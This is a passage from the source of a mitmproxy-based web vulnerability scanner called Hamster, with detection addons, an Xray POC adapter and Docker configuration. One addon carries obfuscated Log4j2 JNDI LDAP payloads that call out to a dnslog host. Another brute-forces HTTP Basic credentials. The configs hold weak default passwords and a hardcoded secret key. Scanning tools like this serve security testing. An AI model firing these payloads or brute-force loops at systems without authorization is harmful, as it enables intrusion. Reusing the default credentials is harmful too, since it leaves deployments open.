ClientSession(self.addon_path) as session: 36 | headers = self.get_request_headers(flow) 37 | async with session.get(url=url_no_query, headers=headers, allow_redirects=False) as res: 38 | if res and res.status == 200: 39 | content = await res.text() 40 | flag = False 41 | if 'Index of' in content and '<h1>Index of' in content: 42 | flag = True 43 | if '<title>Directory listing' in content: 44 | flag = True 45 | if '[To Parent Directory]</A>' in content and '</H1><hr>' in content: 46 | flag = True 47 | if '.bash_history' in content and ".bash_profile" in content: 48 | flag = True 49 | if 'etc' in content and "var" in content and 'sbin' in content and 'tmp' in content: 50 | flag = True 51 | 52 | test_num = 0 53 | lines = re.findall('<a href="(.*)">(.*)</a>', content, re.IGNORECASE) 54 | for href, value in lines: 55 | if href == value: 56 | test_num += 1 57 | if test_num > 3: 58 | flag = True 59 | break 60 | 61 | if flag: 62 | detail = content 63 | await self.save_vul(res, detail) 64 | 65 | -------------------------------------------------------------------------------- /addon/agent/druid_unauth.py: -------------------------------------------------------------------------------- 1 | from mitmproxy.http import HTTPFlow 2 | from lib.core.enums import AddonType 3 | from lib.core.enums import VulType 4 | from lib.core.enums import VulLevel 5 | from addon.agent import AgentAddon 6 | from lib.util.aiohttputil import ClientSession 7 | 8 | class Addon(AgentAddon): 9 | """ 10 | Druid未授权访问 11 | """ 12 | 13 | def __init__(self): 14 | AgentAddon.__init__(self) 15 | self.name = 'DruidUnauth' 16 | self.addon_type = AddonType.DIR_ALL 17 | self.vul_name = "Druid未授权访问" 18 | self.level = VulLevel.MEDIUM 19 | self.vul_type = VulType.UNAUTHORIZED_ACCESS 20 | self.description = "Druid是阿里巴巴数据库出品的,为监控而生的数据库连接池,并且Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控,首先Druid是不存在什么漏洞的。但当开发者配置不当时就可能造成未授权访问。" 21 | self.impact = "1. 敏感信息泄露" 22 | self.suggestions = "1. 对敏感文件进行权限控制或者删除处理。" 23 | self.scopen = "" 24 | self.mark = "" 25 | self.dir_list = [ 26 | "", 27 | 'druid/', 28 | 'server/druid/', 29 | 'api/druid/', 30 | 'app/druid/', 31 | 'api/app/druid/', 32 | ] 33 | self.file_list = [ 34 | 'console.html', 35 | 'sql.html', 36 | 'index.html', 37 | ] 38 | 39 | async def prove(self, flow: HTTPFlow): 40 | url_no_query = self.get_url_no_query(flow) 41 | method = self.get_method(flow) 42 | if method in ['GET']: 43 | if url_no_query[-1] == '/': 44 | async with ClientSession(self.addon_path) as session: 45 | headers = self.get_request_headers(flow) 46 | for dir_path in self.dir_list: 47 | for file_path in self.file_list: 48 | url = url_no_query + dir_path + file_path 49 | async with session.get(url=url, headers=headers, allow_redirects=False) as res: 50 | if res and res.status == 200: 51 | text_source = await res.text() 52 | text = text_source.lower() 53 | if 'druid stat index' in text or "druid version" in text or 'druid indexer' in text or 'druid sql stat' in text or 'druid monitor' in text: 54 | detail = text_source 55 | await self.save_vul(res, detail) 56 | -------------------------------------------------------------------------------- /addon/agent/http_basic_auth_burst.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from mitmproxy.http import HTTPFlow 6 | from lib.core.enums import AddonType 7 | from lib.core.enums import VulType 8 | from lib.core.enums import VulLevel 9 | from addon.agent import AgentAddon 10 | from lib.util.aiohttputil import ClientSession 11 | from lib.util.cipherutil import base64encode 12 | 13 | class Addon(AgentAddon): 14 | """ 15 | HTTP Basic Auth Burst 16 | """ 17 | 18 | def __init__(self): 19 | AgentAddon.__init__(self) 20 | self.name = 'HTTPBasicAuthBurst' 21 | self.addon_type = AddonType.DIR_ALL 22 | self.vul_name = "HTTPBasic弱口令" 23 | self.level = VulLevel.MEDIUM 24 | self.vul_type = VulType.WEAKPASS 25 | self.description = "HTTPBasic认证是一种比较常见的认证方式,但这种认证方式容易被暴力破解,一旦系统存在弱口令账户,攻击者可直接登陆系统。" 26 | self.impact = "1. 登陆系统,进行进一步攻击,甚至获取服务器权限。" 27 | self.scopen = "" 28 | self.mark = "" 29 | self.file_list = [ 30 | "", 31 | "manager/html", 32 | "host-manager/html", 33 | ] 34 | 35 | async def prove(self, flow: HTTPFlow): 36 | url_no_query = self.get_url_no_query(flow) 37 | method = self.get_method(flow) 38 | if method in ['GET'] and url_no_query[-1] == '/': 39 | async with ClientSession(self.addon_path) as session: 40 | headers = self.get_request_headers(flow) 41 | for file in self.file_list: 42 | url = url_no_query + file 43 | async with session.get(url=url, headers=headers, allow_redirects=False) as res: 44 | try: 45 | text = await res.text() 46 | if res and ( 47 | # HTTP basic auth 48 | (res.status == 401 and 'WWW-Authenticate' in res.headers.keys()) or 49 | 50 | # Spring Security Application 51 | (text and res.status == 200 and "Full authentication is required to access this resource" in text) 52 | ): 53 | async for (username, password) in self.generate_auth_dict(): 54 | key = base64encode(bytes(":".join([username, password]), 'utf-8')) 55 | headers["Authorization"] = 'Basic %s' % key 56 | async with session.get(url=url, headers=headers) as res1: 57 | if res1: 58 | if res1.status != 401: 59 | detail = username + "/" + password 60 | await self.save_vul(res1, detail) 61 | return 62 | 63 | except: 64 | pass -------------------------------------------------------------------------------- /addon/agent/http_put.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from mitmproxy.http import HTTPFlow 6 | from lib.core.enums import AddonType 7 | from lib.core.enums import VulType 8 | from lib.core.enums import VulLevel 9 | from addon.agent import AgentAddon 10 | from lib.util.aiohttputil import ClientSession 11 | from lib.util.util import random_lowercase_digits 12 | 13 | 14 | class Addon(AgentAddon): 15 | """ 16 | PUT文件上传 17 | """ 18 | 19 | def __init__(self): 20 | AgentAddon.__init__(self) 21 | self.name = 'HTTPPUT' 22 | self.addon_type = AddonType.DIR_ALL 23 | self.vul_name = "PUT文件上传" 24 | self.level = VulLevel.MEDIUM 25 | self.vul_type = VulType.FILE_UPLOAD 26 | self.description = "PUT等可上传相关文件。" 27 | self.scopen = "" 28 | self.impact = "1. 攻击者可以上传恶意文件。" 29 | self.suggestions = "1. 禁止相关请求方法。" 30 | self.mark = "" 31 | self.suffix_list = [ 32 | '', 33 | '/', 34 | '::$DATA', 35 | '%20' 36 | ] 37 | 38 | 39 | async def generate_payload(self, text=None): 40 | for suffix in self.suffix_list: 41 | file = random_lowercase_digits() + '.txt' 42 | payload = file + suffix 43 | yield payload, file 44 | 45 | async def prove(self, flow: HTTPFlow): 46 | url_no_query = self.get_url_no_query(flow) 47 | method = self.get_method(flow) 48 | if method in ['GET'] and url_no_query[-1] == '/': 49 | async with ClientSession(self.addon_path) as session: 50 | keyword = random_lowercase_digits(16) 51 | headers = self.get_request_headers(flow) 52 | async for payload, file in self.generate_payload(): 53 | url1 = url_no_query + payload 54 | async with session.put(url=url1, headers=headers, data=keyword, allow_redirects=True) as res1: 55 | if res1: 56 | if res1.status == 200 or res1.status == 201 or res1.status == 204: 57 | url2 = url_no_query + file 58 | async with session.get(url=url2, headers=headers, allow_redirects=True) as res2: 59 | if res2: 60 | text2 = await res2.text() 61 | if keyword in text2: 62 | detail = text2 63 | await self.save_vul(res1, detail) 64 | return -------------------------------------------------------------------------------- /addon/agent/log4j2_deserialization_ws.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from copy import deepcopy 6 | from mitmproxy.http import HTTPFlow 7 | from lib.core.enums import AddonType 8 | from lib.core.enums import VulType 9 | from lib.core.enums import VulLevel 10 | from addon.agent import AgentAddon 11 | from lib.util.util import random_lowercase_digits 12 | from lib.util.aiohttputil import ClientSession 13 | 14 | class Addon(AgentAddon): 15 | """ 16 | log4j 扫描 17 | """ 18 | 19 | def __init__(self): 20 | AgentAddon.__init__(self) 21 | self.name = 'Log4j2DeserializationWS' 22 | self.addon_type = AddonType.WEBSOCKET_ONCE 23 | self.vul_name = "Log4j2反序列化漏洞" 24 | self.level = VulLevel.HIGH 25 | self.vul_type = VulType.RCE 26 | self.description = "反序列化漏洞是特殊的任意代码执行漏洞,通常出现在Java环境。漏洞产生原因主要是暴露了反序列化操作API ,导致用户可以操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码。在Java编码过程应使用最新版本的组件lib包。特别注意升级,如:Apache Commons Collections、fastjson、Jackson等出现过问题的组件。" 27 | self.scopen = "" 28 | self.impact = "1. Log4j2低版本存在反序列化漏洞,导致可以远程命令执行。" 29 | self.suggestions = "1. 升级Log4j2至最新版本。" 30 | self.mark = "" 31 | self.dnslog_domain = '{value}.l42.' + self.dnslog_top_domain 32 | self.payloads = [ 33 | # "${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{dnslog}/test9}", 34 | # "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://{dnslog}/test11}", 35 | # "${${::-j}${::-n}${::-d}${::-i}:${::-d}${::-n}${::-s}://{dnslog}/test10}", 36 | # "${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//{dnslog}:1389/test}" 37 | # "${${env:aaaa:-j}${env:aaaa:-n}${env:aaaa:-d}${env:aaaa:-i}:${env:aaaa:-l}${env:aaaa:-d}${env:aaaa:-a}${env:aaaa:-p}${env:aaaa:-:}//{dnslog}/test5}", 38 | # "${${env:aaaa:-j}${env:aaaa:-n}${env:aaaa:-d}${env:aaaa:-i}:${env:aaaa:-r}${env:aaaa:-m}${env:aaaa:-i}${env:aaaa:-:}//{dnslog}/test6}", 39 | # "${${env:aaaa:-j}${env:aaaa:-n}${env:aaaa:-d}${env:aaaa:-i}:${env:aaaa:-d}${env:aaaa:-n}${env:aaaa:-s}${env:aaaa:-:}//{dnslog}/test7}", 40 | "${a:-${a:-$${a:-${a:-$${j$${a:-}nd${a:-}i:l${a:-}da${a:-}p://{dnslog}/test$${a:-}}}}}}", 41 | # "${j${a:-}ndi:ld${a:-}ap://{dnslog}/test${a:-}}", 42 | ] 43 | 44 | async def generate_payload(self, text=None): 45 | for payload in self.payloads: 46 | dnslog = self.dnslog_domain.format(value=random_lowercase_digits()) 47 | payload = payload.replace('{dnslog}', dnslog) 48 | yield payload, dnslog 49 | 50 | async def prove(self, flow: HTTPFlow): 51 | method = self.get_method(flow) 52 | url = self.get_url(flow) 53 | headers = self.get_request_headers(flow) 54 | message = self.get_websocket_message_by_index(flow, -2) 55 | message_list = self.get_websocket_messages(flow)[:-2] 56 | 57 | # 扫描message 58 | if message: 59 | source_parameter_dic = self.parser_parameter(message.content) 60 | async for res_function_result in self.generate_parameter_dic_by_function(source_parameter_dic, self.generate_payload): 61 | temp_parameter_dic = res_function_result[0] 62 | keyword = res_function_result[1] 63 | temp_content, temp_boundary = self.generate_content(temp_parameter_dic) 64 | message.content = temp_content 65 | if await self.prove_log4j(keyword, method, url, message, headers, message_list): 66 | return 67 | 68 | async def prove_log4j(self, keyword, method, url, message, headers, message_list): 69 | async with ClientSession(self.addon_path) as session: 70 | async with session.ws_connect(url, method=method, headers=headers, keyword=keyword, message_list=message_list, message=message) as ws: 71 | if message.is_text: 72 | await ws.send_str(str(message.content, 'utf-8')) 73 | else: 74 | await ws.send_bytes(message.content) 75 | if ws: 76 | if await self.get_dnslog_recode(keyword): 77 | detail = f"Add from dnslog, Keyword: {keyword}" 78 | await self.save_vul(ws, detail) 79 | return True 80 | return False -------------------------------------------------------------------------------- /addon/agent/tomcat_file.py: -------------------------------------------------------------------------------- 1 | from mitmproxy.http import HTTPFlow 2 | from lib.core.enums import AddonType 3 | from lib.core.enums import VulType 4 | from lib.core.enums import VulLevel 5 | from addon.agent import AgentAddon 6 | from lib.util.aiohttputil import ClientSession 7 | 8 | class Addon(AgentAddon): 9 | """ 10 | Tomcat 敏感文件泄露扫描 11 | """ 12 | 13 | def __init__(self): 14 | AgentAddon.__init__(self) 15 | self.name = 'TomcatFile' 16 | self.addon_type = AddonType.DIR_ALL 17 | self.vul_name = "Tomcat默认War包" 18 | self.level = VulLevel.LOWER 19 | self.vul_type = VulType.INFO_FILE 20 | self.description = "Tomcat 中间件默认安装后会存在相关war包,这些war包可能会泄露相关信息。" 21 | self.scopen = "" 22 | self.impact = "1. 泄露了Tomcat相关信息。 2. 攻击者可以对相关路径进行暴力破解,甚至获取服务器权限。" 23 | self.suggestions = "1. 删除默认War包或做好访问控制。" 24 | self.mark = "" 25 | self.file_list = [ 26 | "host-manager/", 27 | "manager/html", 28 | "examples/", 29 | "docs/", 30 | "", 31 | ] 32 | 33 | async def prove(self, flow: HTTPFlow): 34 | url_no_query = self.get_url_no_query(flow) 35 | method = self.get_method(flow) 36 | if method in ['GET']: 37 | if url_no_query[-1] == '/': 38 | async with ClientSession(self.addon_path) as session: 39 | headers = self.get_request_headers(flow) 40 | for file_path in self.file_list: 41 | url = url_no_query + file_path 42 | async with session.get(url=url, headers=headers, allow_redirects=False) as res: 43 | if res and res.status == 200: 44 | text = await res.text() 45 | flag = False 46 | if res.status == 200 and 'Apache Tomcat Examples' in text: 47 | flag = True 48 | elif res.status == 401 and '401 Unauthorized' in text and 'tomcat' in text: 49 | flag = True 50 | elif res.status == 403 and '403 Access Denied' in text and 'tomcat-users' in text: 51 | flag = True 52 | elif res.status == 200 and 'Documentation' in text and 'Apache Software Foundation' in text and 'tomcat' in text: 53 | flag = True 54 | if flag: 55 | detail = text 56 | await self.save_vul(res, detail) 57 | -------------------------------------------------------------------------------- /addon/agent/xray_adapter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from mitmproxy.http import HTTPFlow 6 | from lib.core.enums import AddonType 7 | from lib.core.enums import VulType 8 | from lib.core.enums import VulLevel 9 | from addon.agent import AgentAddon 10 | from lib.util.aiohttputil import ClientSession 11 | from lib.util.xrayutil import * 12 | 13 | class Addon(AgentAddon): 14 | """ 15 | XrayAdapter 16 | """ 17 | 18 | def __init__(self): 19 | AgentAddon.__init__(self) 20 | self.name = 'XrayAdapter' 21 | self.addon_type = AddonType.HOST_ONCE 22 | self.vul_name = "XrayPOC调用" 23 | self.level = VulLevel.MEDIUM 24 | self.vul_type = VulType.NONE 25 | self.scopen = "" 26 | self.description = "XrayPOC调用。" 27 | self.impact = "1. 具体请看Xray POC。" 28 | self.suggestions = "1. 具体请看Xray POC。" 29 | self.scopen = "1. 具体请看Xray POC。" 30 | self.mark = "1. 具体请看Xray POC。" 31 | 32 | self.dnslog_domain = '{value}.xray.' + self.dnslog_top_domain 33 | 34 | self.yaml_file_dir = 'poc/xray/pocs/' 35 | 36 | self.xray_poc_list = import_xray_poc_file(self.yaml_file_dir, self.dnslog_domain) 37 | 38 | 39 | async def prove(self, flow: HTTPFlow): 40 | 41 | async with ClientSession(self.addon_path) as session: 42 | for xray_poc in self.xray_poc_list: 43 | try: 44 | self.log.debug(f"Start scan xray poc: {xray_poc.name}") 45 | flag = True 46 | 47 | # 依次加载请求rule 48 | for name, rule in xray_poc.rules.items(): 49 | 50 | # 变量初始化 51 | method = self.get_method(flow) 52 | base_url = self.get_base_url(flow) 53 | headers = self.get_request_headers(flow) 54 | data = self.get_request_content(flow) 55 | follow_redirects = False 56 | path = self.get_path_no_query(flow) 57 | 58 | rule_request = rule.get("request", {}) 59 | expression = rule.get("expression", {}) 60 | output = rule.get("output", {}) 61 | search = output.get("search", None) 62 | 63 | # 请求初始化 64 | method, path, headers, data, follow_redirects = xray_poc.generate_request_by_rule_request(rule_request, method, path, headers, data, follow_redirects) 65 | url = base_url[:-1] + path 66 | 67 | # 是否dnslog需要 68 | if xray_poc.dnslog_wait: 69 | keyword = xray_poc.dnslog_domain 70 | else: 71 | keyword = None 72 | 73 | # 请求 74 | async with session.request(method, url, data=data, headers=headers, allow_redirects=follow_redirects, keyword=keyword) as res: 75 | 76 | if res: 77 | res_status = res.status 78 | res_headers = res.headers 79 | res_content = await res.read() 80 | 81 | # 处理cel表达式 82 | xray_poc.rules_result[name] = xray_poc.deal_cel(expression, res_status, res_headers, 83 | res_content) 84 | if search: 85 | 86 | # 如果有serach情况,需要执行search cel表达式 87 | search = xray_poc.deal_cel(search, res_status, res_headers, res_content) 88 | if search: 89 | xray_poc.search = search 90 | else: 91 | flag = False 92 | break 93 | 94 | # 校验总的cel表达式 95 | if flag and xray_poc.deal_cel(xray_poc.expression): 96 | detail = xray_poc.name + "\r\n" + xray_poc.detail 97 | await self.save_vul(res, detail) 98 | 99 | self.log.debug(f"Final scan xray poc: {xray_poc.name}") 100 | except TimeoutError: 101 | self.log.error(f"Error scan xray poc: {xray_poc.name}, error: {str(e)}") 102 | except Exception as e: 103 | self.log.error(f"Error scan xray poc: {xray_poc.name}, error: {str(e)}") 104 | traceback.print_exc() -------------------------------------------------------------------------------- /addon/common/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /addon/server/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from addon import BaseAddon 6 | from lib.core.enums import VulType 7 | from lib.core.enums import VulLevel 8 | from lib.core.enums import AddonType 9 | from lib.core.g import mq_queue 10 | 11 | 12 | class ServerAddon(BaseAddon): 13 | """ 14 | Addon Server类 15 | """ 16 | 17 | def __init__(self): 18 | BaseAddon.__init__(self) 19 | self.name = 'ServerAddon' 20 | self.addon_type = AddonType.NONE 21 | self.level = VulLevel.NONE 22 | self.vul_type = VulType.NONE 23 | 24 | async def push_scan_queue(self, flow, addon_list=None, routing_key=None): 25 | """ 26 | 推送至扫描队列,进行漏洞扫描 27 | :param flow: flow数据包 28 | :param addon_list: 需要扫描的addon列表,None为扫描全部 addon.agent 29 | :return: 30 | """ 31 | await mq_queue.put((flow, addon_list, routing_key)) 32 | -------------------------------------------------------------------------------- /addon/server/scan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import asyncio 6 | import traceback 7 | from addon.server import ServerAddon 8 | from lib.core.enums import VulType 9 | from lib.core.enums import VulLevel 10 | from lib.core.enums import AddonType 11 | 12 | class Addon(ServerAddon): 13 | """ 14 | 捕获原始数据包,可作为后续的分析/扫描处理,比如通过rabbitmq推至web扫描器等。 15 | """ 16 | 17 | def __init__(self): 18 | ServerAddon.__init__(self) 19 | self.name = 'Scan' 20 | self.addon_type = AddonType.URL_ONCE 21 | self.level = VulLevel.NONE 22 | self.vul_type = VulType.NONE 23 | self.vul_name = "数据包推送" 24 | self.scopen = "" 25 | self.description = "数据包推送至扫描器" 26 | self.impact = "" 27 | self.suggestions = "" 28 | self.mark = "" 29 | 30 | async def response_inject(self, flow): 31 | if self.is_scan_response(flow): 32 | flag, start_time, end_time = self.is_time_response(flow) 33 | if start_time and end_time: 34 | await self.push_scan_queue(flow, routing_key=f'{start_time}_{end_time}') 35 | else: 36 | await self.push_scan_queue(flow) 37 | else: 38 | url = self.get_url(flow) 39 | self.log.debug(f"Bypass scan response flow, url: {url}, addon: {self.name}") 40 | 41 | def response(self, flow): 42 | asyncio.get_event_loop().create_task(self.response_inject(flow)) 43 | -------------------------------------------------------------------------------- /addon/server/scan_ws.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import asyncio 6 | import traceback 7 | from addon.server import ServerAddon 8 | from lib.core.enums import VulType 9 | from lib.core.enums import VulLevel 10 | from lib.core.enums import AddonType 11 | 12 | class Addon(ServerAddon): 13 | """ 14 | 捕获原始数据包,可作为后续的分析/扫描处理,比如通过rabbitmq推至web扫描器等。 15 | """ 16 | 17 | def __init__(self): 18 | ServerAddon.__init__(self) 19 | self.name = 'ScanWS' 20 | self.addon_type = AddonType.WEBSOCKET_ONCE 21 | self.level = VulLevel.NONE 22 | self.vul_type = VulType.NONE 23 | self.vul_name = "Websocket数据包推送" 24 | self.scopen = "" 25 | self.description = "Websocket数据包推送至扫描器" 26 | self.impact = "" 27 | self.suggestions = "" 28 | self.mark = "" 29 | 30 | def websocket_message(self, flow): 31 | asyncio.get_event_loop().create_task(self.websocket_message_inject(flow)) 32 | 33 | async def websocket_message_inject(self, flow): 34 | if self.is_scan_to_client(flow): 35 | flag, start_time, end_time = self.is_time_response(flow) 36 | if start_time and end_time: 37 | await self.push_scan_queue(flow, routing_key=f'{start_time}_{end_time}') 38 | else: 39 | await self.push_scan_queue(flow) 40 | else: 41 | url = self.get_url(flow) 42 | self.log.debug(f"Bypass scan websocket message flow, url: {url}, addon: {self.name}") 43 | 44 | 45 | -------------------------------------------------------------------------------- /addon/support/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /addon/test/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import asyncio 6 | from lib.core.g import log 7 | from lib.core.g import conf 8 | from lib.core.g import task_queue 9 | from addon import BaseAddon 10 | from lib.core.common import handle_flow 11 | 12 | class TestAddon(BaseAddon): 13 | 14 | def __init__(self): 15 | BaseAddon.__init__(self) 16 | self.__hash_list = [] # simple 模式去重 17 | 18 | async def prove(self, flow): 19 | """预留函数, agent扫描使用""" 20 | 21 | async def handle_response(self, flow): 22 | """处理response函数""" 23 | async for flow_hash, flow_addon_list, flow_addon_type, flow in handle_flow(flow, self.__hash_list, [self.name]): 24 | if flow_addon_list is None or (flow_addon_list and self.name in flow_addon_list): 25 | if self.addon_type == flow_addon_type: 26 | log.info(f"Push packet to queue, flow_hash: {flow_hash}") 27 | await task_queue.put((flow_hash, flow, self)) 28 | 29 | def response(self, flow): 30 | """ 31 | simple 模式使用 32 | :param flow: 33 | :return: 34 | """ 35 | if self.is_scan_response(flow): 36 | asyncio.get_event_loop().create_task(self.handle_response(flow)) 37 | else: 38 | url = self.get_url(flow) 39 | if self.dnslog_top_domain not in url and conf.basic.listen_domain not in url: 40 | log.debug(f"Bypass scan response packet, url: {url}, addon: {self.addon_path}") 41 | 42 | -------------------------------------------------------------------------------- /agent.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | from argparse import ArgumentParser 7 | from lib.core.core import start_agent 8 | 9 | def arg_set(parser): 10 | parser.add_argument('-sh', "--server-host", action='store', help='Server address', type=str) 11 | parser.add_argument('-sp', "--server-port", action='store', help='Server port', type=int) 12 | parser.add_argument('-ph', "--support-host", action='store', help='Support address', type=str) 13 | parser.add_argument('-pp', "--support-port", action='store', help='Support port', type=int) 14 | parser.add_argument("-d", "--debug", action='store_true', help="Run debug", default=False) 15 | parser.add_argument("-h", "--help", action='store_true', help="Show help", default=False) 16 | return parser 17 | 18 | if __name__ == '__main__': 19 | parser = ArgumentParser(add_help=False) 20 | parser = arg_set(parser) 21 | args = parser.parse_args() 22 | if args.help: 23 | parser.print_help() 24 | else: 25 | start_agent(args) -------------------------------------------------------------------------------- /docker/Dockerfile: -------------------------------------------------------------------------------- 1 | # 使用Python 3.10的官方基础映像 2 | FROM python:3.10 3 | 4 | # 设置工作目录 5 | WORKDIR /app/Hamster/ 6 | 7 | # 将当前目录中的所有文件复制到容器中的工作目录 8 | COPY . /app/Hamster/ 9 | RUN rm -fr /app/Hamster/conf 10 | RUN rm -fr /app/Hamster/venv 11 | RUN rm -fr /app/Hamster/restart.sh 12 | COPY docker/conf /app/Hamster/conf 13 | COPY docker/restart.sh /app/Hamster/restart.sh 14 | COPY docker/wait-for-it.sh /app/Hamster/wait-for-it.sh 15 | RUN chmod +x /app/Hamster/restart.sh 16 | RUN chmod +x /app/Hamster/wait-for-it.sh 17 | 18 | ## 安装项目依赖 19 | RUN pip3 install -r requirements.txt 20 | 21 | # 运行应用程序 22 | ENTRYPOINT ["/bin/bash"] 23 | CMD ["./restart.sh"] 24 | 25 | EXPOSE 8000 26 | EXPOSE 8001 27 | EXPOSE 8002 28 | -------------------------------------------------------------------------------- /docker/conf/hamster_env.conf: -------------------------------------------------------------------------------- 1 | [env] 2 | ; this is a env config for hamster 3 | 4 | ; run env 5 | env = online 6 | 7 | 8 | -------------------------------------------------------------------------------- /docker/conf/online/hamster_agent.conf: -------------------------------------------------------------------------------- 1 | [agent] 2 | ; this is a agent config for hamster 3 | 4 | server_host = 127.0.0.1 5 | 6 | server_port = 8000 7 | 8 | support_host = 127.0.0.1 9 | 10 | support_port = 8001 11 | 12 | 13 | -------------------------------------------------------------------------------- /docker/conf/online/hamster_basic.conf: -------------------------------------------------------------------------------- 1 | [basic] 2 | ; this is a basic config for hamster 3 | 4 | ; proxy mode, http/socks5/upstream:http://127.0.0.1:8080/ 5 | proxy_mode = http 6 | 7 | ; http basic authentication to upstream proxy and reverse proxy requests. format: 8 | ; username:password. 9 | proxy_auth = Hamster:Hamster@123 10 | 11 | listen_domain = admin.hamster.com 12 | 13 | ; connection timeout 14 | timeout = 5 15 | 16 | heartbeat_time = 60 17 | 18 | user_agent = X Default 19 | 20 | max_data_queue_num = 300 21 | 22 | ; secret key 23 | secret_key = 2sT3pHJvb6x$etc27oWBwrK^FuThAmts6wYkTKi7l40iJRNm5GU680V0ebbZgJQ3 24 | 25 | ; when the anticache option is set, it removes headers (if-none-match and if-modif 26 | ; ied-since) that might elicit a 304 not modified response from the server. this i 27 | ; s useful when you want to make sure you capture an http exchange in its totality 28 | ; . it’s also often used during client-side replay, when you want to make sure the 29 | ; server responds with complete data. 30 | anticache = False 31 | 32 | default_mail_siffix = hamster.com 33 | 34 | default_password = Hamster@123 35 | 36 | 37 | [mysql] 38 | ; this is a mysql config for hamster 39 | 40 | host = hamster_mysql 41 | 42 | port = 3306 43 | 44 | username = root 45 | 46 | password = 123456 47 | 48 | dbname = Hamster 49 | 50 | charset = utf8mb4 51 | 52 | collate = utf8mb4_general_ci 53 | 54 | 55 | [redis] 56 | ; this is a redis config for hamster 57 | 58 | host = hamster_redis 59 | 60 | port = 6379 61 | 62 | username = root 63 | 64 | password = 123456 65 | 66 | decode_responses = True 67 | 68 | ex = 2419200 69 | 70 | 71 | [rabbitmq] 72 | ; this is a rabbitmq config for hamster 73 | 74 | host = hamster_rabbitmq 75 | 76 | port = 5672 77 | 78 | username = admin 79 | 80 | password = 123456 81 | 82 | name = Hamster 83 | 84 | 85 | [scan] 86 | ; this is a scan config for hamster 87 | 88 | scan_max_task_num = 50 89 | 90 | ; cache/nocache 91 | scan_mode = cache 92 | 93 | scan_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0; aiohttp) Gecko/20100101 Firefox/106.0"} 94 | 95 | scan_qps_limit = 5 96 | 97 | scan_body_size_limit = 4195000 98 | 99 | ; max length < 131080 100 | save_body_size_limit = 32768 101 | 102 | skip_scan_request_extensions = ["woff", "woff2", "ico", "ttf", "svg", "otf", "mp3", "css"] 103 | 104 | skip_scan_response_content_types = ["application/font-woff", "image/gif"] 105 | 106 | skip_scan_response_meida_types = ["video", "audio"] 107 | 108 | 109 | [cache] 110 | ; this is a cache config for hamster 111 | 112 | is_save_request_body = True 113 | 114 | is_save_response_body = False 115 | 116 | save_body_size_limit = 32768 117 | 118 | log_stored_day = 30 119 | 120 | cache_log_stored_day = 2 121 | 122 | cache_db_stored_day = 1 123 | 124 | cache_deal_time = 3600 125 | 126 | 127 | [platform] 128 | ; this is a platform config for hamster 129 | 130 | dnslog_top_domain = 131 | 132 | dnslog_api_url = 133 | 134 | dnslog_api_key = 135 | 136 | dnslog_async_time = 20 137 | 138 | ; you should nano func in lib/core/api.py 139 | dnslog_api_func = default 140 | 141 | 142 | -------------------------------------------------------------------------------- /docker/conf/online/hamster_manager.conf: -------------------------------------------------------------------------------- 1 | [manager] 2 | ; this is a manager config for hamster 3 | 4 | listen_host = 0.0.0.0 5 | 6 | listen_port = 8002 7 | 8 | 9 | -------------------------------------------------------------------------------- /docker/conf/online/hamster_server.conf: -------------------------------------------------------------------------------- 1 | [server] 2 | ; this is a server config for hamster 3 | 4 | listen_host = 0.0.0.0 5 | 6 | listen_port = 8000 7 | 8 | 9 | -------------------------------------------------------------------------------- /docker/conf/online/hamster_simple.conf: -------------------------------------------------------------------------------- 1 | [simple] 2 | ; this is a simple config for hamster 3 | 4 | listen_host = 0.0.0.0 5 | 6 | listen_port = 8000 7 | 8 | 9 | -------------------------------------------------------------------------------- /docker/conf/online/hamster_support.conf: -------------------------------------------------------------------------------- 1 | [support] 2 | ; this is a support config for hamster 3 | 4 | listen_host = 0.0.0.0 5 | 6 | listen_port = 8001 7 | 8 | server_host = 127.0.0.1 9 | 10 | server_port = 8000 11 | 12 | 13 | -------------------------------------------------------------------------------- /docker/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | hamster_mysql: 4 | restart: always 5 | image: mysql:latest 6 | hostname: hamster_mysql 7 | ports: 8 | - 127.0.0.1:3306:3306 9 | environment: 10 | - MYSQL_ROOT_PASSWORD=123456 11 | container_name: hamster_mysql 12 | networks: 13 | - hamster_network 14 | hamster_redis: 15 | restart: always 16 | image: redis:latest 17 | hostname: hamster_redis 18 | ports: 19 | - 127.0.0.1:6379:6379 20 | command: redis-server --requirepass 123456 21 | container_name: hamster_redis 22 | environment: 23 | - LANG=en_US.UTF-8 24 | - TZ=Asia/Shanghai 25 | networks: 26 | - hamster_network 27 | hamster_rabbitmq: 28 | restart: always 29 | image: 